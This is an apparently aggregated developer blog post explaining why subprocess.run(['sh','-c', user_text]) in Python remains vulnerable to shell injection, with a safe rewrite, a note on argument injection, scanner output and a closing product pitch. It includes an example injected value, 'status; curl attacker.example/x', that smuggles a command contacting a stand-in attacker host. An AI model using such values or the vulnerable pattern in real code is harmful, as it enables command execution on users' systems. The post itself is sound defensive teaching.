I switched to an argv list. The shell still ran my input.
A review landed on my desk with a line I had approved a dozen times before: subprocess.run(["sh", "-c", user_text], capture_output=True) No shell=True. A proper argv list. Every checklist I know calls that the f
A review landed on my desk with a line I had approved a dozen times before:
subprocess.run(["sh", "-c", user_text], capture_output=True)
No shell=True. A proper argv list. Every checklist I know calls that the fix. I nearly approved it again.
Then I noticed the last element: user_text. It came straight from a form field. sh is a shell, and -c tells it that the next argument is a program to parse. The argv list wasn't a safety boundary here — it had just moved the boundary one argument to the left.
Let me be exact about the difference, because it matters when you're the one signing off on the diff:
-
subprocess.run(text, shell=True)asks Python to start/bin/sh -c text. You built the text. -
subprocess.run(["sh", "-c", text])asks Python to startshdirectly and hand it two arguments.shreads-cand parsestextas a program anyway.
Same parser, different doorway. The argv list stops Python from splicing metacharacters into a shell string. It does nothing about a program whose entire job is to parse its argument as shell syntax.
A value like status; curl attacker.example/x never reaches subprocess as syntax. It arrives as one ordinary, perfectly well-behaved argv element. sh splits it into two commands.
The rewrite
Most of the time there is no reason to involve a shell:
# before
subprocess.run(["sh", "-c", f"grep -n {pattern} {path}"], capture_output=True)
# after
subprocess.run(["grep", "-n", "--", pattern, str(path)], capture_output=True)
The -- matters too. It ends option parsing, so a pattern starting with a dash can't quietly become a flag. That's a different bug class — argument injection, CWE-88 — and argv lists don't fix it by themselves. I wrote about that one here after a leading dash changed what a tool did in code that had shell=False everywhere.
If you really need pipes or redirection, wire them up in Python with two processes and a pipe, or confine the input to a small whitelist you own. Don't pass a sentence to -c and hope.
What my scanner said
I added a rule to my own audit tool because I kept spotting this in other people's diffs and missing it in mine. Then I ran the tool on the four-line reproducer:
sg audit: 1 finding(s) in 1 file(s)
{"files_scanned": 1, "findings": [{"line": 4, "col": 12, "rule": "SG005", "code": "subprocess.run([\"sh\", \"-c\", user_text], capture_output=True)"}], "errors": []}
That's the real output, with the file path trimmed. SG005 fires only when the command after -c is not a literal — ["sh", "-c", "echo hi"] is a fixed command and gets left alone. Import aliases resolve. Exit code 1 on findings, 0 clean, 2 for bad input, which is what makes it usable as a CI gate rather than a linter people scroll past.
Where I stop trusting it
The audit is static and works one file at a time. If a command is assembled in one module and passed into a call in another, the scan can't see the connection. When a file has a syntax error, it drops to a line-based scan that over-reports on unusual formatting. Files it can't handle are listed as skipped in the report, not quietly omitted.
So it's a linter with opinions, not a proof. The report itself says as much. The runtime library refuses shell=True and bare string commands, but it can't refuse ["sh", "-c", x] — sometimes that call is deliberate. That's exactly why the check belongs in CI, where a reviewer sees it before merge.
What shipped
shellguard v1.5.0 is out as a sha256-pinned release wheel — MIT, zero dependencies, Python 3.8+. The public suite has 135 tests, and there's a GitHub Action that fails a build on SG001 through SG005. I run that Action against the library's own repository; publishing a CI gate you don't dogfood would be a bit rich.
The packaged download, commercial license and email support are EUR 49 once, on the product page. There's also a pay-what-you-can link there if you just want to keep the work going. The source, the tests and the Action are free either way.
Originally published by Dev.to Security. Aggregated on AIWithGhost for educational purposes — full credit and traffic to the original publisher.